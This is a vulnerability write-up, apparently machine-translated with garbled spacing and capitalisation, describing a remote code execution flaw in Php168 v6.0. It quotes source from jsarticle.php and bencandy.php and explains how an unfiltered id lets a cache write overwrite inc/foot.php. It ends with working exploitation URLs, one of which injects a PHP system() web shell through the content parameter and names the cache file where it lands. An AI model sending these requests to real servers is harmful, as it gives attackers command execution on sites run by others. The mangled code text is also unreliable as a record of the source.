Php168 v6.0 shell Vulnerability

By: mr_xhming

Do/Under the jsarticle. php file in two steps
If (! Eregi ("^ (hot | com | new | lastview | like | pic) $", $ type )){
Die ("incorrect type ");
}
$ FileName = dirname (_ FILE _). "/../cache/jsarticle_cache /";
If ($ type = like ){
$ FileName. = floor ($ id/3000 )."/";
} Else {
Unset ($ id );
}

$ FileName. = "{$ type }_{ $ fid }_{ $ id}. php ";
..................
If (! Is_dir (dirname ($ FileName ))){
Makepath (dirname ($ FileName ));
}
If (time ()-filemtime ($ FileName)> ($ webdb ["cache_time _ $ type"] * 60 )){
Write_file ($ FileName, "<? Php $ show = stripslashes (". addslashes ($ show).");?> ");

// Write_file overwrite any PHP file! Because id is not filtered

}

The second do/bencandy. php file
Require_once (dirname (_ FILE _). "/". "global. php ");
! $ Aid & $ aid = intval ($ id );
$ Id = $ aid;
$ Page <1 & $ page = 1;

$ Min = intval ($ page)-1;
$ Erp = $ Fid_db [iftable] [$ fid]? $ Fid_db [iftable] [$ fid]:;
$ Rsdb = $ db-> get_one ("select r. *,. * FROM {$ pre} article $ erp a left join {$ pre} reply $ erp r on. aid = R. aid where. aid = $ aid order by r. topic DESC, R. orderid asc limit $ min, 1 ");

If (! $ Rsdb ){
Showerr ("data does not exist! ");
} Elseif ($ fid! = $ Rsdb [fid]) {
Showerr ("Incorrect FID ");
}
........................
$ Cache_FileName = PHP168_PATH. "cache/bencandy_cache/". floor ($ id/3000). "/{$ id }_{ $ page}. php ";
If (! $ Jobs & $ webdb [bencandy_cache_time] & (time ()-filemtime ($ Cache_FileName) <($ webdb [bencandy_cache_time] * 60 )){
Echo read_file ($ Cache_FileName );
Exit;
}
..................................

If (! $ Jobs & $ webdb [bencandy_cache_time] & (time ()-filemtime ($ Cache_FileName)> ($ webdb [bencandy_cache_time] * 60 )){

If (! Is_dir (dirname ($ Cache_FileName ))){
Makepath (dirname ($ Cache_FileName ));
}
$ Content. = "<script language = JavaScript src = $ webdb [www_url]/do/job. php? Job = updatehits & aid = $ id> </SCRIPT> ";
Write_file ($ Cache_FileName, $ content); // note that the file is written here.
} Elseif ($ jobs = show ){
@ Unlink ($ Cache_FileName );
}
Here, the problem is almost fixed. Let's take a look at $ content. In fact, it was initialized. You can see require (PHP168_PATH. "inc/foot. php "); in this case, the initialization is here. We will use the first question to overwrite the content in this file, and then we can directly submit the $ content Variable to inject shell code!

Exploitation:
Do/jsarticle. php? Type = like & id = xhming/..././inc/foot
Do/bencandy. php? Fid = 4 & id = 582 & content = <? System ($ xhming); phpinfo ()?>
Cache/bencandy_cache/0/582_1.php // remember the id value, because there is cache and time to judge each step will wait